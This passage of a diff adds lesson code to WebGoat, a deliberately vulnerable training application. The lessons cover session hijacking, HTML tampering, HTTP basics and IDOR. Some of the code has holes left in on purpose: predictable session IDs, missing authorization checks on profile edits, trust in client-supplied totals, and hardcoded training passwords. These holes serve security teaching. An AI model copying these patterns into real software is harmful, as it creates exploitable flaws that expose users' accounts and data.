HijackSessionAuthenticationProvider provider; + + @PostMapping(path = "/HijackSession/login") + @ResponseBody + public AttackResult login( + @RequestParam String username, + @RequestParam String password, + @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, + HttpServletResponse response) { + + Authentication authentication; + if (StringUtils.isEmpty(cookieValue)) { + authentication = + provider.authenticate( + Authentication.builder().name(username).credentials(password).build()); + setCookie(response, authentication.getId()); + } else { + authentication = provider.authenticate(Authentication.builder().id(cookieValue).build()); + } + + if (authentication.isAuthenticated()) { + return success(this).build(); + } + + return failed(this).build(); + } + + private void setCookie(HttpServletResponse response, String cookieValue) { + Cookie cookie = new Cookie(COOKIE_NAME, cookieValue); + cookie.setPath("/WebGoat"); + cookie.setSecure(true); + response.addCookie(cookie); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java new file mode 100644 index 000000000..7931028a3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java @@ -0,0 +1,62 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession.cas; + +import java.security.Principal; +import lombok.Builder; +import lombok.Getter; +import lombok.ToString; + +/** + * @author Angel Olle Blazquez + */ +@Getter +@ToString +public class Authentication implements Principal { + + private boolean authenticated = false; + private String name; + private Object credentials; + private String id; + + @Builder + public Authentication(String name, Object credentials, String id) { + this.name = name; + this.credentials = credentials; + this.id = id; + } + + @Override + public String getName() { + return name; + } + + protected void setAuthenticated(boolean authenticated) { + this.authenticated = authenticated; + } + + protected void setId(String id) { + this.id = id; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java new file mode 100644 index 000000000..55af2c53c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java @@ -0,0 +1,35 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession.cas; + +import java.security.Principal; + +/** + * @author Angel Olle Blazquez + */ +@FunctionalInterface +public interface AuthenticationProvider { + + T authenticate(T t); +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java new file mode 100644 index 000000000..018dd8bf1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java @@ -0,0 +1,96 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession.cas; + +import java.time.Instant; +import java.util.LinkedList; +import java.util.Queue; +import java.util.Random; +import java.util.concurrent.ThreadLocalRandom; +import java.util.function.DoublePredicate; +import java.util.function.Supplier; +import org.apache.commons.lang3.StringUtils; +import org.springframework.stereotype.Component; +import org.springframework.web.context.annotation.ApplicationScope; + +/** + * @author Angel Olle Blazquez + */ + +// weak id value and mechanism + +@ApplicationScope +@Component +public class HijackSessionAuthenticationProvider implements AuthenticationProvider { + + private Queue sessions = new LinkedList<>(); + private static long id = new Random().nextLong() & Long.MAX_VALUE; + protected static final int MAX_SESSIONS = 50; + + private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75; + private static final Supplier GENERATE_SESSION_ID = + () -> ++id + "-" + Instant.now().toEpochMilli(); + public static final Supplier AUTHENTICATION_SUPPLIER = + () -> Authentication.builder().id(GENERATE_SESSION_ID.get()).build(); + + @Override + public Authentication authenticate(Authentication authentication) { + if (authentication == null) { + return AUTHENTICATION_SUPPLIER.get(); + } + + if (StringUtils.isNotEmpty(authentication.getId()) + && sessions.contains(authentication.getId())) { + authentication.setAuthenticated(true); + return authentication; + } + + if (StringUtils.isEmpty(authentication.getId())) { + authentication.setId(GENERATE_SESSION_ID.get()); + } + + authorizedUserAutoLogin(); + + return authentication; + } + + protected void authorizedUserAutoLogin() { + if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) { + Authentication authentication = AUTHENTICATION_SUPPLIER.get(); + authentication.setAuthenticated(true); + addSession(authentication.getId()); + } + } + + protected boolean addSession(String sessionId) { + if (sessions.size() >= MAX_SESSIONS) { + sessions.remove(); + } + return sessions.add(sessionId); + } + + protected int getSessionsSize() { + return sessions.size(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java new file mode 100644 index 000000000..0302c0b4f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.htmltampering; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class HtmlTampering extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.CLIENT_SIDE; + } + + @Override + public String getTitle() { + return "html-tampering.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java new file mode 100644 index 000000000..8a0ba7103 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.htmltampering; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"hint1", "hint2", "hint3"}) +public class HtmlTamperingTask extends AssignmentEndpoint { + + @PostMapping("/HtmlTampering/task") + @ResponseBody + public AttackResult completed(@RequestParam String QTY, @RequestParam String Total) { + if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) + 1) { + return success(this).feedback("html-tampering.tamper.success").build(); + } + return failed(this).feedback("html-tampering.tamper.failure").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java new file mode 100644 index 000000000..d70aaebb4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.httpbasics; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class HttpBasics extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "1.http-basics.title"; // first lesson in general + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java new file mode 100644 index 000000000..883f14f31 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java @@ -0,0 +1,49 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.httpbasics; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"http-basics.hints.http_basics_lesson.1"}) +public class HttpBasicsLesson extends AssignmentEndpoint { + + @PostMapping("/HttpBasics/attack1") + @ResponseBody + public AttackResult completed(@RequestParam String person) { + if (!person.isBlank()) { + return success(this) + .feedback("http-basics.reversed") + .feedbackArgs(new StringBuilder(person).reverse().toString()) + .build(); + } else { + return failed(this).feedback("http-basics.empty").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java new file mode 100644 index 000000000..c6c14ad73 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java @@ -0,0 +1,57 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.httpbasics; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AssignmentPath; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"http-basics.hints.http_basic_quiz.1", "http-basics.hints.http_basic_quiz.2"}) +@AssignmentPath("HttpBasics/attack2") +public class HttpBasicsQuiz extends AssignmentEndpoint { + + @PostMapping("/HttpBasics/attack2") + @ResponseBody + public AttackResult completed( + @RequestParam String answer, + @RequestParam String magic_answer, + @RequestParam String magic_num) { + if ("POST".equalsIgnoreCase(answer) && magic_answer.equals(magic_num)) { + return success(this).build(); + } else { + if (!"POST".equalsIgnoreCase(answer)) { + return failed(this).feedback("http-basics.incorrect").build(); + } + if (!magic_answer.equals(magic_num)) { + return failed(this).feedback("http-basics.magic").build(); + } + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java new file mode 100644 index 000000000..b3ad85e95 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java @@ -0,0 +1,59 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.httpproxies; + +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.HttpMethod; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class HttpBasicsInterceptRequest extends AssignmentEndpoint { + + @RequestMapping( + path = "/HttpProxies/intercept-request", + method = {RequestMethod.POST, RequestMethod.GET}) + @ResponseBody + public AttackResult completed( + @RequestHeader(value = "x-request-intercepted", required = false) Boolean headerValue, + @RequestParam(value = "changeMe", required = false) String paramValue, + HttpServletRequest request) { + if (HttpMethod.POST.matches(request.getMethod())) { + return failed(this).feedback("http-proxies.intercept.failure").build(); + } + if (headerValue != null + && paramValue != null + && headerValue + && "Requests are tampered easily".equalsIgnoreCase(paramValue)) { + return success(this).feedback("http-proxies.intercept.success").build(); + } else { + return failed(this).feedback("http-proxies.intercept.failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java new file mode 100644 index 000000000..1d9326426 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.httpproxies; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class HttpProxies extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "2.http-proxies.title"; // second lesson in GENERAL + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java new file mode 100644 index 000000000..0adeeb25f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author misfir3 + * @version $Id: $Id + * @since January 3, 2017 + */ +@Component +public class IDOR extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "idor.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java new file mode 100644 index 000000000..f145ca1f9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java @@ -0,0 +1,58 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.idorDiffAttributes1", + "idor.hints.idorDiffAttributes2", + "idor.hints.idorDiffAttributes3" +}) +public class IDORDiffAttributes extends AssignmentEndpoint { + + @PostMapping("/IDOR/diff-attributes") + @ResponseBody + public AttackResult completed(@RequestParam String attributes) { + attributes = attributes.trim(); + String[] diffAttribs = attributes.split(","); + if (diffAttribs.length < 2) { + return failed(this).feedback("idor.diff.attributes.missing").build(); + } + if (diffAttribs[0].toLowerCase().trim().equals("userid") + && diffAttribs[1].toLowerCase().trim().equals("role") + || diffAttribs[1].toLowerCase().trim().equals("userid") + && diffAttribs[0].toLowerCase().trim().equals("role")) { + return success(this).feedback("idor.diff.success").build(); + } else { + return failed(this).feedback("idor.diff.failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java new file mode 100644 index 000000000..404d0aeb4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java @@ -0,0 +1,113 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.otherProfile1", + "idor.hints.otherProfile2", + "idor.hints.otherProfile3", + "idor.hints.otherProfile4", + "idor.hints.otherProfile5", + "idor.hints.otherProfile6", + "idor.hints.otherProfile7", + "idor.hints.otherProfile8", + "idor.hints.otherProfile9" +}) +public class IDOREditOtherProfiile extends AssignmentEndpoint { + + @Autowired private UserSessionData userSessionData; + + @PutMapping(path = "/IDOR/profile/{userId}", consumes = "application/json") + @ResponseBody + public AttackResult completed( + @PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) { + + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + // this is where it starts ... accepting the user submitted ID and assuming it will be the same + // as the logged in userId and not checking for proper authorization + // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let + // everyone, right? + // Except that this is a vulnerable app ... so we will + UserProfile currentUserProfile = new UserProfile(userId); + if (userSubmittedProfile.getUserId() != null + && !userSubmittedProfile.getUserId().equals(authUserId)) { + // let's get this started ... + currentUserProfile.setColor(userSubmittedProfile.getColor()); + currentUserProfile.setRole(userSubmittedProfile.getRole()); + // we will persist in the session object for now in case we want to refer back or use it later + userSessionData.setValue("idor-updated-other-profile", currentUserProfile); + if (currentUserProfile.getRole() <= 1 + && currentUserProfile.getColor().toLowerCase().equals("red")) { + return success(this) + .feedback("idor.edit.profile.success1") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } + + if (currentUserProfile.getRole() > 1 + && currentUserProfile.getColor().toLowerCase().equals("red")) { + return success(this) + .feedback("idor.edit.profile.failure1") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } + + if (currentUserProfile.getRole() <= 1 + && !currentUserProfile.getColor().toLowerCase().equals("red")) { + return success(this) + .feedback("idor.edit.profile.failure2") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } + + // else + return failed(this) + .feedback("idor.edit.profile.failure3") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } else if (userSubmittedProfile.getUserId().equals(authUserId)) { + return failed(this).feedback("idor.edit.profile.failure4").build(); + } + + if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) { + return success(this) + .feedback("idor.edit.profile.success2") + .output(userSessionData.getValue("idor-updated-own-profile").toString()) + .build(); + } else { + return failed(this).feedback("idor.edit.profile.failure3").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java new file mode 100644 index 000000000..1b656c0cf --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java @@ -0,0 +1,76 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"idor.hints.idor_login"}) +public class IDORLogin extends AssignmentEndpoint { + + private Map> idorUserInfo = new HashMap<>(); + + public void initIDORInfo() { + + idorUserInfo.put("tom", new HashMap()); + idorUserInfo.get("tom").put("password", "cat"); + idorUserInfo.get("tom").put("id", "2342384"); + idorUserInfo.get("tom").put("color", "yellow"); + idorUserInfo.get("tom").put("size", "small"); + + idorUserInfo.put("bill", new HashMap()); + idorUserInfo.get("bill").put("password", "buffalo"); + idorUserInfo.get("bill").put("id", "2342388"); + idorUserInfo.get("bill").put("color", "brown"); + idorUserInfo.get("bill").put("size", "large"); + } + + @PostMapping("/IDOR/login") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + initIDORInfo(); + UserSessionData userSessionData = getUserSessionData(); + + if (idorUserInfo.containsKey(username)) { + if ("tom".equals(username) && idorUserInfo.get("tom").get("password").equals(password)) { + 